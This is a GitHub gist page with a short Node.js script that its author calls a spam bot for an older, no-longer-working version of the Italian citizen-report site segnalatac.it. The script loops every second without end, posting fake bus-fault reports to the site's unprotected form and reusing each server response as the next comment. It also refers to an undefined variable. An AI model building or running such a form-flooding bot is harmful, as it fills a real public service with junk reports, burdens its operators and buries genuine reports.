Skip to content

Instantly share code, notes, and snippets.

@nicholas0g
Created October 20, 2017 07:17
Show Gist options
  • Save nicholas0g/898a68c0111cfb8bc666b6c78b53bed6 to your computer and use it in GitHub Desktop.
Save nicholas0g/898a68c0111cfb8bc666b6c78b53bed6 to your computer and use it in GitHub Desktop.
Spam Bot per vecchia versione di www.segnalatac.it (non più funzionante)
//spam_bot per www.segnalatac.it per form senza captcha
//#HO TO:
//npm install requestify
//node spam_bot_sa.js
var richiesta=require('requestify');
let i = 0;
var messaggio='ciao';
let delaywaiting=1000;
function richiestaRicorsiva(i) {
setTimeout(() => {
console.log('Eseguo chiamata', i);
richiesta.post('http://www.segnalatac.it', {
type: 'Bus',
linea:i,
problem:'broke',
where:'Via san maria minore 4',
comments:messaggio,
email:'[email protected]'
}).then(function(response) {
console.log('----------------------------');
console.log('spam!!! ');
console.log(response.body);
messaggio=response.body;
console.log('----------------------------');
id++;
});
richiestaRicorsiva(++i);
}, delaywaiting)
}
richiestaRicorsiva(0);
@Thecave3
Copy link

denunziaquerelah!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment